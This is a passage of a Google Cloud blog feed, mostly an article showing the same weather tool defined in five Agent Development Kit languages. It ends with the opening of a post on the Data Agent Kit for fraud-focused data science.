        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="9ieq2"&gt;Coding-agent skills scaffold your project while MCP and A2A connect all five language runtimes.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h2&gt;&lt;span style="vertical-align: baseline;"&gt;Hands-on view of each ADK&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The clearest way to feel the difference between the five languages is to define the same weather tool in each one and see how its design fits the runtime.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Python&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In &lt;/span&gt;&lt;a href="https://github.com/google/adk-python/blob/main/contributing/samples/core/quickstart/agent.py" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK for Python&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, you don't need a decorator or a schema builder class. You pass a plain Python function into the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;tools&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; parameter, and ADK inspects its signature, type hints, and docstring at startup to automatically construct the tool declaration and &lt;/span&gt;&lt;a href="https://docs.pydantic.dev/latest/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Pydantic&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; parameter schema:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;from google.adk.agents.llm_agent import Agent\r\n\r\n\r\ndef get_weather(city: str) -&amp;gt; dict:\r\n  &amp;quot;&amp;quot;&amp;quot;Retrieves the current weather report for a specified city.\r\n\r\n  Args:\r\n      city (str): The name of the city for which to retrieve the weather report.\r\n  &amp;quot;&amp;quot;&amp;quot;\r\n  return {&amp;quot;status&amp;quot;: &amp;quot;success&amp;quot;, &amp;quot;report&amp;quot;: f&amp;quot;Sunny and 72F in {city}.&amp;quot;}\r\n\r\n\r\nroot_agent = Agent(\r\n    name=&amp;quot;weather_agent&amp;quot;,\r\n    model=&amp;quot;gemini-3.8-flash&amp;quot;,\r\n    instruction=&amp;quot;Answer questions about the weather in a city.&amp;quot;,\r\n    tools=[get_weather],\r\n)&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;lang-py&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd62133d850&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Beyond fast prototyping, Python is ADK's reference implementation, shipping the broadest set of Google Cloud integrations (&lt;/span&gt;&lt;a href="https://cloud.google.com/bigquery"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;BigQuery&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/spanner"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Spanner&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://cloud.google.com/bigtable"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Bigtable&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;) and model adapters (&lt;/span&gt;&lt;a href="https://ai.google.dev/gemini-api/docs" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, Anthropic, OpenAI, LiteLLM). Paired with the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;adk eval&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; or &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;agents-cli eval run&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; commands&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;, its evaluation tooling scores agent trajectories against golden datasets in continuous integration (CI) to test the whole system end to end, even when your production service runs in another language.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Go&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;While Python leads in experimentation and evaluation, &lt;/span&gt;&lt;a href="https://github.com/google/adk-go/blob/main/examples/quickstart/main.go" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK for Go&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; hits the sweet spot for production backend engineering.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;A Go tool function takes the &lt;/span&gt;&lt;a href="https://pkg.go.dev/google.golang.org/adk/v2/agent#Context" rel="noopener" target="_blank"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;agent.Context&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; configuration and a strongly typed input struct. The &lt;/span&gt;&lt;a href="https://pkg.go.dev/google.golang.org/adk/v2/tool/functiontool#New" rel="noopener" target="_blank"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;functiontool.New&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; function uses Go generics to infer both the input and output schemas from your &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;struct&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; tags:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;type GetWeatherArgs struct {\r\n\tCity string `json:&amp;quot;city&amp;quot; jsonschema:&amp;quot;The city to look up weather for.&amp;quot;`\r\n}\r\n\r\ntype GetWeatherResult struct {\r\n\tReport string `json:&amp;quot;report&amp;quot;`\r\n}\r\n\r\nfunc getWeather(_ agent.Context, args GetWeatherArgs) (GetWeatherResult, error) {\r\n\treturn GetWeatherResult{Report: &amp;quot;Sunny and 72F in &amp;quot; + args.City}, nil\r\n}\r\n\r\nweatherTool, err := functiontool.New(functiontool.Config{\r\n\tName:        &amp;quot;get_weather&amp;quot;,\r\n\tDescription: &amp;quot;Retrieves the current weather report for a city.&amp;quot;,\r\n}, getWeather)&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd62133d390&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Because the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;functiontool.New&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; function is generic over your handler's signature, the Go compiler verifies that your function matches the expected contract before your binary ever runs.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Go was also the first language after Python to ship the &lt;/span&gt;&lt;a href="https://pkg.go.dev/google.golang.org/adk/v2/workflow" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK 2.0 Graph Workflow runtime&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. When you need deterministic control flow alongside LLM reasoning, the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;workflow.New&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; function wires agents and plain Go functions into a directed graph with conditional routing and parallel steps:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;ag, err := workflowagent.New(&amp;quot;order_pipeline&amp;quot;, []workflow.Edge{\r\n\t{From: workflow.Start, To: triageNode},\r\n\t{From: triageNode, To: fulfillNode, Route: workflow.StringRoute(&amp;quot;fulfill&amp;quot;)},\r\n\t{From: fulfillNode, To: notifyNode},\r\n})&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd62133d290&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Where Go really stands out is in production on Cloud Run and GKE. A compiled Go agent packages onto a roughly 2 MiB &lt;/span&gt;&lt;a href="https://github.com/GoogleContainerTools/distroless" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google distroless static base image&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, with no language VM or heavy dependency tree. A static Go binary binds to its port as soon as the container starts, skipping the module imports of &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/run/docs/tips/general"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;dynamic languages&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and the JAR unpacking and JIT warmup of &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/run/docs/tips/java"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;JVM services&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;After it's running, Go's concurrency model fits agent workloads naturally. Each goroutine starts with a &lt;/span&gt;&lt;a href="https://go.dev/doc/go1.4#runtime" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;2 KB stack&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;a href="https://go.dev/doc/faq#goroutines" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;minimal scheduling overhead&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, so a single instance can multiplex thousands of concurrent streaming requests and tool calls. ADK for Go also includes &lt;/span&gt;&lt;a href="https://pkg.go.dev/google.golang.org/adk/v2/server/adka2a/v2" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;built-in A2A server handlers&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and OpenTelemetry tracing out of the box.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;TypeScript&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;TypeScript erases type annotations when compiling to JavaScript, so runtime reflection isn't an option. Instead, &lt;/span&gt;&lt;a href="https://github.com/google/adk-js/blob/main/core/src/tools/function_tool.ts" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK for TypeScript&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; pairs with &lt;/span&gt;&lt;a href="https://zod.dev/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Zod&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. You pass a &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;z.object(...)&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; schema to the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;FunctionTool&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; function, and TypeScript statically infers the parameter types of your &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;execute&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; callback from that single declaration:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;import { FunctionTool, LlmAgent } from &amp;quot;@google/adk&amp;quot;;\r\nimport { z } from &amp;quot;zod&amp;quot;;\r\n\r\nconst getWeatherTool = new FunctionTool({\r\n  name: &amp;quot;get_weather&amp;quot;,\r\n  description: &amp;quot;Retrieves the current weather report for a city.&amp;quot;,\r\n  parameters: z.object({\r\n    city: z.string().describe(&amp;quot;The name of the city.&amp;quot;),\r\n  }),\r\n  execute: async ({ city }) =&amp;gt; {\r\n    return { status: &amp;quot;success&amp;quot;, report: `Sunny and 72F in ${city}.` };\r\n  },\r\n});\r\n\r\nexport const rootAgent = new LlmAgent({\r\n  name: &amp;quot;weather_agent&amp;quot;,\r\n  model: &amp;quot;gemini-3.8-flash&amp;quot;,\r\n  instruction: &amp;quot;Answer questions about the weather in a city.&amp;quot;,\r\n  tools: [getWeatherTool],\r\n});&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd62133fd90&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Your runtime input validation, the JSON Schema sent to the model, and your IDE autocomplete inside the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;execute&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;callback &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;all flow from one source of truth.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;TypeScript also runs on the ADK 2.0 Graph Workflow engine and ships a &lt;/span&gt;&lt;a href="https://github.com/google/adk-js/blob/main/core/src/index_web.ts" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;standalone browser bundle&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. Beyond Node.js services, you can run an ADK agent directly in a browser tab using &lt;/span&gt;&lt;a href="https://github.com/google/adk-js/blob/main/core/src/tools/webmcp/webmcp_toolset.ts" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;WebMCP&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; for page-level tools and Chrome's on-device &lt;/span&gt;&lt;a href="https://developer.chrome.com/docs/ai/prompt-api" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Prompt API&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Java&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/google/adk-java/blob/main/tutorials/city-time-weather/src/main/java/com/google/adk/tutorials/CityTimeWeather.java" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK for Java&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; snaps right in for teams who have standardized on Maven, Gradle, and Spring Boot. You add&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;@Schema&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; annotations to method parameters and assemble agents by using a fluent &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;LlmAgent.builder()&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; API:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;public class WeatherTools {\r\n  public static Map&amp;lt;String, String&amp;gt; getWeather(\r\n      @Schema(name = &amp;quot;city&amp;quot;, description = &amp;quot;The name of the city&amp;quot;)\r\n      String city) {\r\n    return Map.of(&amp;quot;status&amp;quot;, &amp;quot;success&amp;quot;, &amp;quot;report&amp;quot;, &amp;quot;Sunny and 72F in &amp;quot; + city);\r\n  }\r\n}\r\n\r\nLlmAgent agent = LlmAgent.builder()\r\n    .name(&amp;quot;weather_agent&amp;quot;)\r\n    .model(&amp;quot;gemini-3.8-flash&amp;quot;)\r\n    .instruction(&amp;quot;Answer questions about the weather in a city.&amp;quot;)\r\n    .tools(FunctionTool.create(WeatherTools.class, &amp;quot;getWeather&amp;quot;))\r\n    .build();&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd62133e2d0&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;At runtime, the runner streams agent events reactively through &lt;/span&gt;&lt;a href="https://github.com/ReactiveX/RxJava" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;RxJava&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. For local testing and existing JVM apps, ADK for Java ships a Maven Dev UI plugin alongside first-party bridges for Spring AI and LangChain4j.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Kotlin&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://github.com/google/adk-kotlin/blob/main/examples/src/main/kotlin/com/google/adk/kt/examples/tools/FunctionToolDemoAgent.kt" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ADK for Kotlin&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; takes a strong stance on build-time safety. Its &lt;/span&gt;&lt;a href="https://kotlinlang.org/docs/ksp-overview.html" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Kotlin Symbol Processing (KSP)&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; compiler plugin reads &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;@Tool&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;@Param&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; annotations at build time and emits the tool schema directly into bytecode:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;class WeatherTools {\r\n  @Tool(\r\n    name = &amp;quot;get_weather&amp;quot;,\r\n    description = &amp;quot;Retrieves the current weather report for a city.&amp;quot;,\r\n  )\r\n  suspend fun getWeather(\r\n    @Param(&amp;quot;The name of the city.&amp;quot;) city: String\r\n  ): Map&amp;lt;String, String&amp;gt; = mapOf(&amp;quot;status&amp;quot; to &amp;quot;success&amp;quot;, &amp;quot;report&amp;quot; to &amp;quot;Sunny and 72F in $city&amp;quot;)\r\n}\r\n\r\nval agent = LlmAgent(\r\n  model = Gemini(&amp;quot;gemini-3.8-flash&amp;quot;),\r\n  name = &amp;quot;weather_agent&amp;quot;,\r\n  instruction = Instruction(&amp;quot;Answer questions about the weather in a city.&amp;quot;),\r\n  tools = WeatherTools().generatedTools(),\r\n)&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd62133c090&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;If a tool signature uses an unsupported type or declares a default value on a non-nullable parameter, your Gradle build fails immediately instead of breaking in production. Because the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;.generatedTools()&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; function uses zero runtime reflection, it survives &lt;/span&gt;&lt;a href="https://developer.android.com/topic/performance/app-optimization/enable-app-optimization" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Android R8 shrinking&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;That zero-reflection design makes it possible to run the entire agent loop locally on Android. It offers JVM server support, including a Spring AI bridge and experimental ADK 2.0 graph workflows. On-device, ADK for Kotlin integrates with &lt;/span&gt;&lt;a href="https://ai.google.dev/edge/litert-lm" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;LiteRT-LM&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; for tool calling and &lt;/span&gt;&lt;a href="https://developers.google.com/ml-kit/genai" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ML Kit&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; (Gemini Nano) for text generation. It also works with Room and AppSearch for local state, and Android AppFunctions for OS-level actions, all without requiring a network connection.&lt;/span&gt;&lt;/p&gt;
&lt;h2&gt;&lt;span style="vertical-align: baseline;"&gt;Choice without compromise&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Having five native languages in ADK means you don't have to pick a single runtime for your entire organization. Because every version of ADK speaks MCP and A2A, each component of your system can use the language that fits it best.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;What languages have you used to build agents with Google's ADK? Let me know what stack you're running on &lt;/span&gt;&lt;a href="https://x.com/kweinmeister" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;X&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://www.linkedin.com/in/karlweinmeister/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;LinkedIn&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, or &lt;/span&gt;&lt;a href="https://bsky.app/profile/kweinmeister.bsky.social" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Bluesky&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Tue, 13 Oct 2026 12:22:00 +0000</pubDate><guid>https://cloud.google.com/blog/topics/developers-practitioners/one-agent-development-kit-five-languages/</guid><category>Developers &amp; Practitioners</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/one-agent-development-kit-five-languages-her.max-600x600.jpg" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>One Agent Development Kit, five languages</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/one-agent-development-kit-five-languages-her.max-600x600.jpg</image><site_name>Google</site_name><url>https://cloud.google.com/blog/topics/developers-practitioners/one-agent-development-kit-five-languages/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Karl Weinmeister</name><title>Director, Developer Relations</title><department></department><company></company></author></item><item><title>Agentic data science with the Data Agent Kit</title><link>https://cloud.google.com/blog/products/data-analytics/bringing-you-the-data-agent-kit/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Imagine your compliance team notices that payments are taking longer than expected to clear. They suspect fraud, and you’re the data scientist helping figure out which transactions to investigate first. Assembling that shortlist requires ingesting and cleaning raw transaction logs, training a model on past fraud, scoring new records, and scheduling the pipeline to run daily. Here’s how you can build that workflow end to end with an agent, using the Data Agent Kit inside the Antigravity IDE.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Introducing the Data Agent Kit&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://cloud.google.com/products/data-agent-kit?utm_campaign=CDR_0xaea1deef_default_b563520811&amp;amp;utm_medium=external&amp;amp;utm_source=blog"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Data Agent Kit&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; helps you work with Google Cloud data through a &lt;/span&gt;&lt;a href="https://github.com/GoogleCloudPlatform/data-agent-kit-plugin" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;plugin for coding agents&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; or an &lt;/span&gt;&lt;a href="https://open-vsx.org/extension/googlecloudtools/datacloud" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;extension for Visual Studio Code-based IDEs&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. It brings two significant additions to the workflow:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Help for your agent: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;MCP tools connect your agent to data services. Skills are Markdown files that give it instructions and best practices for working with your data stack&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Tools in your IDE: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;work with Google’s &lt;/span&gt;&lt;a href="https://cloud.google.com/data-cloud?utm_campaign=CDR_0xaea1deef_default_b563520811&amp;amp;utm_medium=external&amp;amp;utm_source=blog"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Agentic Data Cloud&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, from querying databases to deploying an Airflow pipeline, without leaving your editor&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Loading the data&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Let’s start with the raw transaction logs in &lt;/span&gt;&lt;a href="https://cloud.google.com/storage?utm_campaign=CDR_0xaea1deef_default_b563520811&amp;amp;utm_medium=external&amp;amp;utm_source=blog"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google Cloud Storage&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. You can ask the agent to create a notebook that loads them into &lt;/span&gt;&lt;a href="https://cloud.google.com/bigquery?utm_campaign=CDR_0xaea1deef_default_b563520811&amp;amp;utm_medium=external&amp;amp;utm_source=blog"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;BigQuery&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; using &lt;/span&gt;&lt;a href="https://cloud.google.com/products/managed-service-for-apache-spark?utm_campaign=CDR_0xaea1deef_default_b563520811&amp;amp;utm_medium=external&amp;amp;utm_source=blog"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Spark&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;Create a PySpark notebook to ingest JSON transaction logs from gs://financials-clearing-raw/ into the BigQuery table transactions.raw_transactions.&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6202c7d90&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
